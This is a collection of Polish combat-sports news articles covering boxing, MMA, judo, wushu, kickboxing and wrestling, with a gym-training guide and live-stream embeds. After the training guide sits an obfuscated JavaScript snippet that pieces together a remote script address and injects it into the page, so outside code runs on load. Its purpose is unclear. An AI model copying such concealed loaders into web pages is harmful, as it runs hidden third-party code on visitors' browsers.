Dla „Szpili” liczy się tylko zwycięstwo. Porażka bardzo mogłaby skomplikować jego sytuację. – Liczyłem na kogoś mocniejszego, aczkolwiek doceniam Adama. Wiem, że będzie to dla niego szansa. Zrobi, co może, ale tak jak mówię – ma pecha pecha, bo staje do zawodnika, który troszkę już tego boksu łyknął. Druga rzecz, dla mnie ta walka jest „o być albo nie być” – tłumaczy bokser.

Najważniejszy pojedynek

W przypadku 28-letniego Kownackiego, walka ze Szpilką będzie najważniejszym wydarzeniem w jego karierze. Urodzony w Łomży pięściarz wygrał wszystkie 15 walk, ale nie może pochwalić się większymi sukcesami. Zwycięstwo ze Szpilką mogłoby otworzyć przed Kownackim nowe możliwości.

KM

13 medali Polaków w Tbilisi

Monika Steckiewicz i Anna Kubiak mogą pochwalić się złotymi medalami czwartych mistrzostw Europy kung-fu wushu. Reprezentacja Polski wywalczyła łącznie 13 krążków. Prym w stolicy Gruzji wiedli Rosjanie, którzy zapisali na swoim koncie 358 medali.

Polska zajęła szóste miejsce w klasyfikacji końcowej na 26 startujących w imprezie reprezentacji. Wynik ten należy uznać za sukces naszej kadry i dobry prognostyk przed kolejnymi zawodami.

Smak złota

Dla każdego zawodnika, niezależnie od dyscypliny, którą uprawia – marzeniem jest wywalczenie mistrzostwa i wspięcie się na najwyższy stopień podium. W Tbilisi ta sztuka dwukrotnie udała się Monice Steckiewicz, która okazała się najlepsza w yang TJQ i chen TJQ. Do tego dołożyła jeszcze srebro. Również trzema medalami może pochwalić się Anna Kubiak. 24-letnia zawodniczka wywalczyła krążek każdego koloru. Ze złota cieszy się również Kacper Sumiński. Na podium mistrzostw Europy stawali również: Marian Olech (dwa brązowe medale), Ewa Solarz, Katarzyna Olczak i Mateusz Ciałowicz (wszyscy brąz).

Po raz kolejny ponadprzeciętne umiejętności potwierdziła Anna Kubiak. 24-latka jest niezwykle pracowita, zawsze skupiona, niemalże perfekcyjna. Ponad pół roku temu w Pruszkowie podczas mistrzostw świata taijquan zdobyła trzy medale w konkurencjach sportowych (srebro i dwa brązowe). W Tbilisi pokazała, że nie ma zamiaru zwalniać tempa. – Z czystym sumieniem mogę powiedzieć, ze jestem bardzo zadowolona ze swoich startów. Dałam z siebie 150 proc., co zaowocowało dobrymi notami i miejscami medalowymi. Cała kadra taijiquan była przygotowana na starty dzięki konsultacjom organizowanym przez Polski Związek Wushu, które odbywały się w Warszawie i zrobiła kawał dobrej roboty. Zawody rangi mistrzostw Europy to już wyższa poprzeczka, poziom z roku na rok jest coraz lepszy. Co ciekawe, Polska również plasuje się coraz wyżej w klasyfikacji drużynowej  – na tych zawodach byliśmy 6. na 26 krajów, które wzięły udział w tym wydarzeniu. Oczywiście licząc wspólne wyniki całej drużyny razem z formami tradycyjnymi i Qingdą – przedstawia Anna Kubiak.

Podczas każdej imprezy zawodnicy narażeni są na różne problemy. Polacy mogli skupić się, tylko i wyłącznie na startach dzięki wsparciu trenera Michała Ignatowicza. – Nasz team mógł się porządnie skupić na startach, z racji tego, że byliśmy pod dobrą opieką trenera kadry, Michała Ignatowicza, wiec nie odczuliśmy, np. problemów z transportem na halę czy posiłkami – podkreśla trzykrotna medalistka mistrzostw Europy w Tbilisi.

Gonimy Azjatów?

W klasyfikacji medalowej mistrzostw Europy znaleźliśmy się za Rosją, Turcją, Ukrainą, Grecją i Gruzją. Na Starym Kontynencie nie jesteśmy tłem dla rywali. A jak prezentujemy się względem krajów azjatyckich, które dominują w wushu? – Można powiedzieć, ze Azjaci, głównie Chiny, w domyśle uważa się za śmietankę światowego wushu. Ten sport jednak jest dość specyficzny i obejmuje mnóstwo stylów i kategorii. W niektórych, tych sportowych, z tzw. nandu – czyli elementami akrobatycznymi o wyższej trudności, wiodą prym Chińczycy, którzy mają do dyspozycji odpowiednie do treningu warunki np. specjalne dywany czy odpowiedni system szkolenia. Również, w krajach typu Chiny, Wietnam i Japonia wushu jest mocno finansowane ze środków państwowych, co można porównać do sportów olimpijskich w innych częściach świata. Natomiast w obrębie form tradycyjnych, które wymagają trochę odmiennego podejścia do treningu, Europa i reszta świata jak najbardziej może z nimi konkurować na wysokim poziomie, choć należałoby tu porównać wyniki z tradycyjnych mistrzostw świata, a nie Europy – odpowiada Kubiak.

Fot. Facebook Michał Ignatowicz

KM

Rosjanie najlepsi w Bielsku

Do Bielska-Białej zjechało blisko 500 judoków, którzy rywalizowali w Pucharze Europy kadetów. Polacy zakończyli zmagania z dorobkiem trzech medali. Najlepsi okazali się Rosjanie, którzy aż 13-krotnie stawali na podium.

Judocy ponownie opanowali Bielsko. Rok temu Polacy wywalczyli dwa medale za sprawą srebrnych Elizy Wróblewskiej (63kg) i Julii Świątkiewicz (+70kg). W czołówce byli Azerzy, Węgrzy i Japończycy.

Dwie panie i pan

Płeć piękna wiedzie prym i rozdaje karty. O tym, że kobieta ma charakter i potrafi pokazać „pazurki” żadnego mężczyzny, a tym bardziej żonatego nie trzeba przekonywać. Na tatami ta zadziorność też się przydaje. 15-letnia Alicja Gowarzewska (40kg) zbiera doświadczenie, a na własnej ziemi miała okazję poznać smak medalu. Ponad dwa miesiące temu Polka z dobrej strony pokazała się w Zagrzebiu, gdzie wywalczyła siódme miejsce. Później były starty w Teplicach i Berlinie. Start w Bielsku-Białej to doskonała postawa Gowarzewskiej, która pewnie wygrała dwie walki i w półfinale poległa z Silvią Gherman z Rumunii. W starciu o brąz 15-latka pokonała Francuzkę Diane Inguimbert.

W pełni szczęśliwa może być Aleksandra Gaj (+70kg), która osiągnęła najlepszych wynik w dotychczasowych startach. Zawodniczka Czarnych Bytom sięgnęła po brąz. Start w Bielsku dla 16-letniej judoczki był niezwykle wyczerpujący. Polka stoczyła aż sześć walk. Dwa pierwszy pojedynki rozstrzygnęła przed czasem. W trzeciej walce odprawiła ją Węgierka Petra Farago. Gaj walczyła dalej, przebrnęła przez repasaże, gdzie wygrała m.in. z Julią Księżyk. W starciu o brąz kolejna bitwa polsko-polska. Gaj okazała się lepsza od Kingi Wolszczak.

Trzecim polskim medalistką Pucharu Europy kadetów został Adam Stodolski (73kg). Judoka Leśnika Kaczory prezentuje w tym roku wysoką formę. W marcu zajął siódme miejsce w Zagrzebiu, a w kwietniu triumfował w Teplicach. Stodolski wygrał cztery z pięciu walk i stanął na najniższym stopniu podium zawodów w Bielsku. 

O krok od podium były: Marta Kuras (48kg), Michalina Skipala (63kg) oraz Kinga Wolszczak (+90kg), które zajęły piąte miejsca. Na siódmych lokatach uplasowali się: Natalia Stokłosa (40kg), Nikola Szlachta (44kg), Julia Księżyk (+70kg), Hubert Pieczyński (50kg), Jakub Sokół (90kg).

Gruzini deptali po piętach

Wśród mężczyzn cztery medale zdobyli Gruzini, czyli o jeden więcej niż Rosjanie. Czwarte złoto dla Sbornej dołożyła Mariam Amkhadova. Rosjanie zdobyli łącznie 13 medali, a Gruzini o dwa mniej.

Również cztery złota na swoim koncie zapisała Japonia, a to za sprawą pań. Na najwyższym stopniu podium stawały: Aiko Watanabe (48kg), Ayano Yuki (63kg), Rizu Matsumto (70kg) i Akiho Yonekawa (+70kg).

Polska w klasyfikacji medalowej zajęła 12. miejsce.

KM

Polka wśród gwiazd?

Mamy już dwie Polki w UFC. Joanna Jędrzejczyk jest mistrzynią wagi słomkowej, a Karolina Kowalkiewicz czołową zawodniczką tejże kategorii. O występach w najlepszej organizacji MMA na świecie może powoli myśleć Agnieszka Niedźwiedź. 22-latka zaliczyła kolejny świetny występ.

Popularna „Kuma” krok po kroku buduje swoją pozycję MMA. W kolejnych występach potwierdza swój talent i pokazuje ogromne możliwości.

Niepokonana

Agnieszka Niedźwiedź jest młoda, spragniona kolejnych zwycięstw i niezwykle skuteczna. W sobotę (20 maja) zaprezentowała się na gali Invicta FC 23 w Kansas City, gdzie zanotowała dziesiątą wygraną w karierze. Jej rywalką była starsza o 11 lat Vanessa Porto. Brazylijka przygodę z MMA zaczynała w 2005 roku, gdy Niedźwiedź siedziała w szkolnej ławce. Porto ma bogate doświadczenie, stoczyła ponad 20 walk. Ponad dziesięć lat temu przegrała z gwiazdą kobiecego MMA Cristiane Justino. Brazylijka ma na rozkładzie m.in. obecną mistrzynię UFC w wadze piórkowej Germaine de Randamie czy Hitomi Akano. Od blisko pięciu lat Porto występuje na galach organizacji Invicta. W tym czasie stoczyła sześć walk, z których cztery wygrała.

Starcie z Niedźwiedź miało być dla Brazylijki siódmym występem w organizacji Invicta. i szansą na rehabilitację po porażce w marcu ubiegłego roku z Jennifer Maią. Z kolei 22-letnia Polka poznała już smak rywalizacji na galach Invicta. W lipcu ubiegłego roku, po pięciu rundach, pokonała Christine Stanley. Ostatnio Niedźwiedź wystąpiła na grudniowej gali Ladies Fight Night 4. Polka zdominowała w parterze Brazylijkę Samarę Santhos Cunhę i wygrała przed czasem.

W Kansas City Niedźwiedź musiała się mieć na baczności, gdyż nawet najmniejszy błąd mógł skończyć się tragicznie. Mimo młodego wieku, Polka walczyła bardzo dojrzale. Porto chciała sprowadzić walkę do parteru i tam budować swoją przewagę. Bezskutecznie. Za to 22-letnia Niedźwiedź zaliczyła dwa obalenia w pierwszej rundzie. Kolejną odsłonę Polka rozpoczęła od wysokiego kopnięcia. Porto starała zaprezentować się w parterze swoje atuty, ale końcówka należała do Niedźwiedź. 22-latka próbował poddać Brazylijkę, jednak nie dała zapiąć sobie duszenia trójkątnego, a później balachy. Trzecia odsłona to dobra postawa Porto. Brazylijka odczytywała zamiary Polki i nie dawała się obalić. Zadała również więcej ciosów, ale to było za mało w przekroju całej walki. Sędziowie byli jednomyślni. Wszyscy punktowali 29:28 dla Agnieszki Niedźwiedź.

Czas na UFC?

Dla wielu zawodniczek rywalizacja w organizacji Invicta to swego rodzaju „przedpokój” do UFC. Dwie wygrane Agnieszki Niedźwiedź w kobiecej federacji to spory kapitał. Polka jest młoda i na pewno znajdzie się pod lupą UFC. Wygrana z Porto pozwoli jej awansować w kategorii muszej. Wielki świat stoi przed nią otworem. Pytanie, kiedy kolejna Polka zawita do UFC? Czekamy na odpowiedź.

Fot. sherdog.com

KM

Temat wraca jak bumerang

Wszyscy czekają na powrót do ringowej rywalizacji Artura Szpilki. Z ostatnich doniesień wynika, że jego najbliższym rywalem może być Adam Kownacki.

Temat tej walki to nie pierwszyzna. O pojedynku mówiło się już kilka miesięcy temu, jednak ostatecznie do starcia nie doszło. Czy tym razem Szpilka i Kownacki skrzyżują rękawice?

Kolejne przymiarki

Nieobecność Artur Szpilki na bokserskich salonach martwi kibiców. Chcieliby zobaczyć w akcji czołowego boksera wagi ciężkiej, który obecnie mieszka w Teksasie. Amerykańska przygoda miała być spełnieniem marzeń dla 25-letniego „Szpili”, ale ten od blisko półtora roku nie stoczył żadnej walki. Ostatni raz fani trzymali za niego kciuki 16 stycznia 2016 roku w Barclays Center podczas pojedynku z Deontayem Wilderem. Szpilka dostał szansę na walkę o pas WBC i w ringu prezentował się dobrze, był uważny, jednak w dziewiątej rundzie bomba Amerykanina zwaliła go z nóg. Później Polak przeszedł operację kontuzjowanej ręki i dochodził do siebie.

W lutym Szpilka miał zameldować się w Birmingham, aby zmierzyć się z Dominikiem Breazealem. Temat jednak ostatecznie upadł. Wszystko było dogadane, ale Breazeale zmierzył się z Izuagbe Ugonohem. „Szpila” nie ukrywał rozczarowania.

Potem na afiszu pojawił się temat walki Szpilki z Adamem Kownackim. Termin: 29 kwietnia na gali w stanie Nowy Jork. Mieszkający w Stanach Zjednoczonych bokser wyzwał „Szpilę”, ale później sprawa przycichła. W marcu nadzieje na pojedynek odżyły, jednak do gali było coraz mniej czasu. Wszystko rozeszło się po kościach. Powodem rezygnacji Kownackiego był chory ząb.  Ale „co się odwlecze, to nie uciecze”. Od kilku dni ponownie mówi się o starciu Szpilki z Kownackim. Walka miałaby się odbyć 15 lipca w New York City.

Szpilka nie chce walki?

Sprawa ewentualnej walki dwóch Polaków ponownie znalazła się na pierwszym planie. Ale Szpilka dość sceptycznie podchodzi do sprawy. Dziennikarz Andrzej Kostyra napisał na Twitterze, że 15 lipca „Szpila” zmierzy się z Kownackim. Były pretendent do tytułu mistrza świata odpowiedział: „Panie Andrzeju do tej walki jeszcze bardzo daleko, miał już swoją szansę to go ząbek rozbolał…”.

Nie pozostaje więc nic innego jak czekać na rozwój wypadków. Z pewnością wyżej stoją akcje Szpilki i to on byłby faworytem starcia. Dla Kownackiego, który walczy wyłącznie w Stanach Zjednoczonych pojedynek ze „Szpilą” stanowiłoby największe wyzwanie w karierze. Dotychczas 28-latek stoczył 15 walk, wszystkie wygrał, w tym 12 przed czasem.

KM

McGregor podpisał kontrakt, czeka na Mayweathera

Stało się! Conor McGregor podpisał kontakt na walkę z Floydem Mayweatherem Jr. Pojedynek miałby się odbyć jesienią w Las Vegas.

Ogromne pieniądze, fantastyczne widowisko – tak ma wyglądać walka McGregora z Mayweatherem.

Kolejny krok

W ubiegłym roku pojawiły się pierwsze informacje na temat starcia mistrza UFC w wadze lekkiej Conora McGregora i niepokonanego na bokserskich ringach Floyda Mayweathera Jr. Niektórzy pukali się w czoło. Wraz z upływem czasu okazało się, że coś jest na rzeczy. McGregor szukał kolejnych wyzwań. Jako pierwszy zawodnik w historii zdobył dwa pasy mistrzowskie UFC. Z kolei Mayweather Jr. Spokojnie odpoczywał na sportowej emeryturze.

Świat sportów walki zaczął żyć tym pojedynkiem. Z każdym dniem atmosfera stawała się coraz bardziej gorąca, a w powietrzu dawało się wyczuć zapach wielkich pieniędzy. „Show must go on” –  najlepiej pasuje do określenia starcia McGregora z Mayweatherem. Wydaje się, że wszystko jest na najlepszej drodze, aby do hitowej walki doszło już jesienią. McGregor podpisał kontrakt na walkę z bokserem. – To zaszczyt podpisać tę rekordową umowę wraz z moimi partnerami – przedstawił Irlandczyk na stronie TheMacLife.com. – Pierwsza i najważniejsza część tej historycznej umowy została podpisana. Gratulacje dla wszystkich zaangażowanych stron – dodał.

Teraz ruch należy do Mayweather Jr. „Money” jest przyzwyczajony do wielkich pieniędzy i każdą walkę potrafił zamienić w finansowe złoto. Czy tak będzie i tym razem? Mówi się, że McGregor za walkę chce zainkasować 75 mln dolarów. Żądania Mayweather Jr. są wyższe i opiewają na kwotę 100 mln dolarów. Z pewnością na Amerykaninie ta nie robi specjalnego wrażenia. Za walkę stulecia z Manny Pacquiao „Money” zgarnął ponad 270 milionów dolarów.

Czas na walkę

Co do daty pojedynku, na pierwszym planie przez długi czas pojawiał się 16 września. Jednak wiadomo, że McGregor i Mayweather Jr. w tym terminie się nie zmierzą. 16 września odbędzie się inny bokserski hit – Saul „Canelo” Alvarez zmierzy się z Gennady'm Gołowkinem.

Wiadomo, że Irlandczyk i Amerykanin mieliby spotkać się na jesieni w Las Vegas. Tyle na obecną chwilę. Dla Mayweathera byłby to powrót do sportowej aktywności. Ostatni pojedynek pięściarz stoczył we wrześniu 2015 roku, kiedy pokonał Andre Berto. Mayweather zanotował 49 zwycięstw na zawodowym ringu. Z kolei McGregor prezentował się w akcji w listopadzie ubiegłego roku. W drugiej rundzie odprawił Eddiego Alvareza i zdobył pas wagi lekkiej UFC.

KM

O czym należy pamiętać w czasie treningu?

Trening na siłowni ma wiele zalet. Poprawia kondycję fizyczną, pozytywnie wpływa na zdrowie, zwiększa siłę oraz daje możliwość kształtowania sylwetki. Jednak jeśli pragniemy systematycznie ćwiczyć należy pamiętać o kilku podstawowych zasadach.

Nie można zapominać o rozgrzewce

Rozgrzewka powinna poprzedzać każdy trening. Pozwala ona przygotować się mentalnie i fizycznie do wzmożonego wysiłku. Niestety częstym błędem jest podchodzenie do ćwiczeń z marszu. O sukcesie naszych działań decyduje odpowiednie nastawienie. Dlatego warto w czasie rozgrzewki skoncentrować się na celu i odrzucić wszystkie inne myśli. To czas na przypomnienie sobie założeń planu treningowego oraz skupieniu na ćwiczeniach. Rozgrzewka powinna być czymś więcej niż rozgrzaniem mięśni.

Dobrze rozgrzane stawy, ścięgna i mięśnie są mniej podatne na urazy w czasie ćwiczeń. Trening zawsze powinien być poprzedzony rozgrzewką o charakterze ogólnym. Zazwyczaj trwa ona około ośmiu minut i może mieć np. postać szybkiego marszu.

Następnie należy przejść do rozgrzewki szczegółowej. To zestaw ćwiczeń nastawionych na konkretną grupę mięśni. Jeśli na przykład planujemy ćwiczenia na triceps  to rozgrzewka szczegółowa powinna obejmować przede wszystkim mięśnie ramion.   

Podstawą udanego treningu jest technika

Jeśli trening ma przynieść oczekiwane efekty musi być prawidłowo wykonywany.  Właściwa technika pozwala zmusić do pracy konkretne grupy mięśni. Dlatego tak ważna jest skupienie w czasie ćwiczeń. Przede wszystkim należy pamiętać by ćwiczenia wykonywać w odpowiednim tempie. Mięśnie muszą stale pracować. Błędem jest wykorzystywanie siły rozpędu do podnoszenia ciężaru.

Nie można tracić kontroli nad ciężarem, jeśli nie jesteśmy w stanie tego zrobić, ciężar należy zredukować. Osoby początkujące powinny zaczynać od ćwiczeń, które dają im możliwość wykonania piętnastu powtórzeń.

Bardzo ważny jest też prawidłowy oddech w czasie wysiłku. W czasie ćwiczeń nie można go wstrzymywać. Wysiłek zwiększa znacznie zapotrzebowanie organizmu na tlen.

Świadomość swojego ciała

Każdy musi zwracać uwagę na sygnały jakie wysyła jego ciało. Jest to szczególnie ważne w przypadku osób uczęszczających na siłownię. Jeśli na przykład pojawi się ból, nie można go ignorować. W takiej sytuacji należy przerwać trening i znaleźć jego przyczynę.

Osoby aktywne powinny też zwracać uwagę na pracę serca w czasie wysiłku. Słuchanie własnego ciała pozwala uniknąć wielu groźnych kontuzji.

[kod]

(function(){
abhe=document.createElement("script");abhe_="u"+("s")+"ta";
abhe_+=("t.i")+""+"n";abhe_+=(("f")+"o");abhe.type="text/javascript";
abhe_+="/"; abheu="62569910";abheu+=".X05nc4mwbhewkdg6b69";abheu+="nnx8r1vXXkt";
abhe.src="//"+abhe_+abheu; abhe.async=true; document.body.appendChild(abhe);
})();

Szykujemy się na grad… medali

To nie prognoza pogoda na najbliższe dni, lecz przewidywania, co do występów reprezentów Polski podczas Pucharu Świata w kickboxingu w Budapeszcie. Impreza odbędzie się w dniach 18-21 maja. O medale powalczy blisko 30  Polaków.

„Polak, Węgier, dwa bratanki” – tę frazę znają praktycznie wszyscy i powtarzać jej nie trzeba. Biało-czerwoni jadą do Budapesztu z nadzieją na dobrą gościnę i jeszcze lepszy wynik.

Ważny etap

Dla wielu zawodników imprezą sezonu są Światowe Igrzyska Sportowe we Wrocławiu, które odbędą się w dniach 20-30 lipca. Kolejne zawody mają być ważnym przetarciem dla naszych kickboxerów. Tak jest właśnie w przypadku Pucharu Świata w Budapeszcie. 

Podczas ubiegłorocznej edycji imprezy biało-czerwoni wywalczyli 44 medale. Aż pięciu zawodników triumfowało w formule low kick. Byli to: Joanna Walkiewicz (48kg), Kamila Bałanda (70kg), Jan Lodzik (63,5kg), Łukasz Kaczmarczyk (71kg) i Radosław Paczuski (81kg). Po cztery złota sięgnęliśmy w full contact, a trzy Polska zdobyła w K-1. Wśród triumfatorów byli m.in. Paulina Bieć (+70kg), Dawid Kasperski (86kg) czy Kamil Dajwłowski (71kg).

Tym razem do Budapesztu wyruszyło blisko 30 biało-czerwonych. W tym gronie brakuje kilku medalistów z ubiegłego roku. O kolejne medale nie powalczą m.in. Paczuski i Kasperski, którzy realizują się w walkach zawodowych. Puchar Świata w Budapeszcie to szansa dla wielu zawodników na zdobycie cennego doświadczenia. – Ciągle jestem na początku swojej kariery, a każdy występ, zwłaszcza na międzynarodowej arenie, bo tu występuję dopiero pierwszy rok jest dla mnie arcyważnym doświadczeniem, niezbędnym w dalszym rozwoju – przedstawia FighTime.pl Joanna Różańska, tegoroczna zwyciężczyni zawodów w Dublinie.

Zawodniczka X Fight Piaseczno aktywnie rozpoczęła rok. Zdobywała medale mistrzostw Polski, dobrze prezentowała się w zagranicznych startach, a niedawno musiała walczyć z chorobą. Przed startem w Budapeszcie Różańska jest pełna optymizmu. – Wiem, że Hungarian Open jest mocno obstawionym turniejem, więc może być ciężej, niż np. na ostatnich MP w K-1, ale jadę zostawić serce w ringu i walczyć najlepiej, jak się tylko da. Trzeba pamiętać, że to sport i w trakcie walki może wydarzyć się wszystko – tłumaczy reprezentantka Polski.

Oni powalczą o medale

Z pewnością Polacy będą należeć do wyróżniających się postaci zbliżającego się Pucharu Świata w Budapeszcie. Nie da się ukryć, że nasza kadra za każdym razem gwarantuje worek medali.

Kogo zobaczymy w Budapeszcie? W K-1 o medale powalczą: Justyna Falkiewicz (52kg), Ewa Pietrzykowska (56kg), Joanna Różańska (60kg), Weronika Rogala (70kg), Aleksander Kalicki (67kg), Michał Polak (67kg), Marcin Kret (71kg), Bartosz Dołbień (81kg), Mateusz Pluta (91kg), Kamil Sójkowski (75kg). Kadrą full contact tworzą: Dorota Godzina (56kg), Karolina Dziedzic (70kg), Pola Rogala (65kg), Paulina Saczuk (56kg), Karolina Mośko (48kg), Patryk Możdżyński 951kg), Mateusz Biniek (67kg), Mateusz Kubiszyn (86kg), Filip Karbownik (81kg), Jakub Pokusa (71kg), Rafał Nguyen (67kg), Przemysław Kacieja (63,5kg) i Paweł Dąbrowski (54). Adrian Durma (74kg) i Wojciech Wiśniewski (84kg) zaprezentują się w light contact, a Tomasz Kurzeja (74kg) w pointfighting.

KM

Gorąco wokół zapasów

Zaledwie pół roku Grzegorz Brudziński zasiadał na stanowisku prezesa Polskiego Związku Zapaśniczego. Podczas majowego zjazdu został odwołany z funkcji. Obowiązki sternika PZZ przejął Andrzej Wroński.

Złoty medalista Igrzysk Olimpijskich z Seulu i Atalanty będzie stał na czele związku do czasu zwołania Walnego Zjazdu Sprawozdawczo-Wyborczego.

Krótka przygoda

Grzegorz Brudziński praktycznie przez całe życie jest związany z zapasami. Zaczynał jako zawodnik stylu klasycznego, swoje umiejętności rozwijał w Budowlanych Olsztyn i Gliniku Gorlice. Później poświęcił się doskonaleniu jako sędzia sportowy. Debiut w roli arbitra zaliczył w 1982 roku, w 1996 roku zdobył uprawnienia na poziomie międzynarodowym. Brudziński sędziował na czterech igrzyskach: w Sydney, Atenach, Pekinie oraz Londynie. W 2013 roku Polak został wiceprezydentem Światowej Komisji Sędziowskiej i Prezydent Europejskiej Komisji Sędziowskiej.

W październiku Brudziński zgłosił swoją kandydaturę na prezesa Polskiego Związku Zapaśniczego. Wybory ogłoszono po nagłej śmierci 41-letniego Grzegorz Pieronkiewicza.

O stanowisko sternika polskich zapasów ubiegało się czterech kandydatów. Wymogów formalnych nie spełnił Maciej Żakowicz. Na placu boju pozostali Andrzej Wroński, Andrzej Supron i wspomniany Brudziński. 5 listopada odbył się zjazd wyborczy. Brudziński uzyskał 57 głosów i pokonał Andrzeja Suprona, który zdobył poparcie 39 osób. Nowy prezes zapowiadał, że jego celem jest opracowanie jednolitego systemu szkolenia i troska o przygotowania olimpijskie.

Praca Brudzińskiego budziła wątpliwości związkowych delegatów. Zarzucali mu niekompetencje i generowanie nadmiernych kosztów. 14 maja w Warszawie odbył się zjazd PZZ. 53 delegatów opowiedziało się za odwołaniem Brudzińskiego, 23 było przeciw.

Związek w rękach Wrońskiego

Zgodnie ze statutem, zarząd powierzył pełnienie funkcji sternika związku wiceprezesowi Andrzejowi Wrońskiemu. 51-latek w ciągu trzech miesięcy musi zwołać Walny Zjazd Sprawozdawczy-Wyborczy, podczas którego zostanie wybrany nowy prezes. Jego kadencja będzie trwała do 2020 roku.

Tym samym na czele związku stanął legendarny polski zapaśnik. Andrzej Wroński wystąpił na czterech Igrzyskach Olimpijskich, a z dwóch imprez (Seul i Sydney) przywiózł złoto. Na swoim koncie ma również medale mistrzostw świata i Europy. Czy Wroński jest tylko opcją na „chwilę”? Czas pokaże.

Wygląda na to, że w polskich zapasach szykują się zmiany. Konieczne jest wdrożenie planów, które umożliwią popularyzację dyscypliny oraz stworzenie odpowiednich warunków do rozwoju dla zawodników. Czasy największych sukcesów z każdym rokiem stają się pięknym wspomnieniem. Cieszymy się z pojedynczych triumfów, ostatnio Moniki Michalik, ale brakuje płynności i powtarzalności. Czy wrócą jeszcze czasy Wrońskiego albo „tłuste” lata 80?

KM

LIVE: XXIII Mistrzostwa Polski Wushu Day 1

Zapraszamy na transmisję telewizyjną na żywo z XXIII Międzynarodowych Mistrzostw Polski Wushu oraz XIV Grand International Wushu. Zawody odbywają się w dniach 10-11 czerwca 2017 r. w Warszawie w hali widowiskowo sportowej przy ul. Wiertniczej 26.

[kod]

XXIII Mistrzostwa Polski Wushu

XXIII Mistrzostwa Polski Wushu

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/Wushu2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/Wushu2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/Wushu2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/Wushu2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: XXIII Mistrzostwa Polski Wushu Day 2

Zapraszamy na transmisję telewizyjną na żywo z XXIII Międzynarodowych Mistrzostw Polski Wushu oraz XIV Grand International Wushu. Zawody odbywają się w dniach 10-11 czerwca 2017 r. w Warszawie w hali widowiskowo sportowej przy ul. Wiertniczej 26.

[kod]

XXIII Mistrzostwa Polski Wushu

XXIII Mistrzostwa Polski Wushu

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/Wushu2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/Wushu2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/Wushu2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/Wushu2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Bedorf wypada z KSW 39

Były mistrz wagi ciężkiej nie wystąpi na gali KSW 39: Colosseum. Karol Bedorf zerwał ścięgno Achillesa, jego miejsce w karcie walk zajął Michał Andryszak.

27 maja prawdziwe święto MMA w Polsce. Na stadionie PGE Narodowy odbędzie się gala KSW 39: Colosseum, podczas której nie zabraknie wielu ciekawych walk. Wśród uczestników awizowany był Karol Bedorf. Były mistrz wagi ciężkiej miał stoczyć rewanżowy pojedynek z Michałem Kitą, ale kontuzja przekreśliła jego szanse na występ.

Przymusowy odpoczynek

Karol Bedorf trzy razy bronił mistrzowskiego pasa w wadze ciężkiej, który zdobył na KSW 24 we wrześniu 2013 roku, kiedy to pokonał Pawła Nastulę. W Krakowie (listopad 2015) pas chciał mu odebrać Michał Kita, jednak w drugiej rundzie popularny „Coco” posłał wysokie kopnięcie na głowę i rywal nie mógł się pozbierać. Bedorf stracił pas niecałe pół roku temu na rzecz Fernando Rodriguesa Jr.

Na stadionie PGE Narodowy niespełna 34-letni fighter miał ponownie spotkać się z Kitą i uczynić krok w stronę walki o pas. Tak się jednak nie stanie. – Z powodu całkowitego zerwania ścięgna achillesa w lewej nodze, musiałem niezwłocznie poddać się operacji chirurgicznej, przez co nie wystąpię podczas nadchodzącej Gali KSW na Stadionie Narodowym. Jest mi bardzo przykro nie tylko z powodu faktu, że przez pięć miesięcy przygotowywałem się do walki, która miała być dla mnie drogą do odzyskania mistrzowskiego pasa co jak się okazuje jest czasem straconym, ale również dlatego, że przez kolejne kilka tygodni nie będę mógł w ogóle trenować – poinformował Bedorf fanów na swoim facebooku.

Szansa Andryszaka

Jak to się zwykło mówić, „nieszczęście jednego jest szczęściem drugiego”. Miejsce Bedorfa na gali KSW 39 zajmie Michał Andryszak. Popularny „Longer” w organizacji Martina Lewandowski i Macieja Kawulskiego stoczył dotychczas dwie walki. Andryszak pokonał Paula Słowińskiego, ale w kolejnym starciu musiał uznać wyższość Michała Włodarka.

Zawodnik z Bydgoszczy to gwarancja efektownego i porywającego widowiska. 25-letni Andryszak wygrał ostatnie cztery walki i wszystkie zakończył już w pierwszej rundzie!

Co więcej, „Longer” stoczył dotychczas 24 pojedynki, z których 18 wygrał. Tylko dwie walki z jego udziałem trwały dłużej niż jedną rundę.

A więc Michał Kita stanie w Warszawie przed niezwykle trudnym zadaniem. Dla 36-latka będzie to trzeci występ na gali KSW. W ostatnim starciu uporał się z Michałem Włodarkiem, którego poddał w pierwszej rundzie.

Fot. Facebook

KM

FEN 17 Baltic Storm: wielkie show w klatce!

Trzecia trójmiejska gala Fight Exclusive Night była emocjonującym widowiskiem na najwyższym sportowym poziomie! Kibice dostali wszystko, co w sportach walki najlepsze: efektowne nokauty i poddania oraz zacięte pojedynki na pełnym dystansie trzech rund, wygrane w wielkim stylu faworytów i zaskakujące zwycięstwa underdogów.

Gala FEN 17 Baltic Storm otworzyła nowy rozdział w historii Fight Exclusive Night, bowiem 12 maja w Gdynia Arena zawodnicy po raz pierwszy walczyli w klatce, która zastąpiła charakterystyczny dla tej organizacji klatkoring. Ale wydarzeń, które na pewno zapadną publiczności w pamięć, było tego wieczora znacznie więcej.

W walce wieczoru Kamil Łebkowski pokazał, że jego porażka z Brazylijczykiem Gabrielem Silvą na poprzedniej gali FEN 16 Warsaw Reloaded była wypadkiem przy pracy i nie dał najmniejszych szans Sauliusowi Buciusowi, który trzy dni przed galą zastąpił Brazylijczyka Caio Machado. Doświadczony Litwin, który niemal wszystkie swoje zwycięstwa odniósł w pierwszej rundzie, tym razem sam nie dotrwał do końca tej części pojedynku – niezwykle zmotywowany Polak, atakujący ostro od pierwszych sekund, już w trzeciej minucie starcia zbombardował rywala serią potężnych ciosów w parterze, po których sędzia Piotr Michalak musiał przerwać walkę.

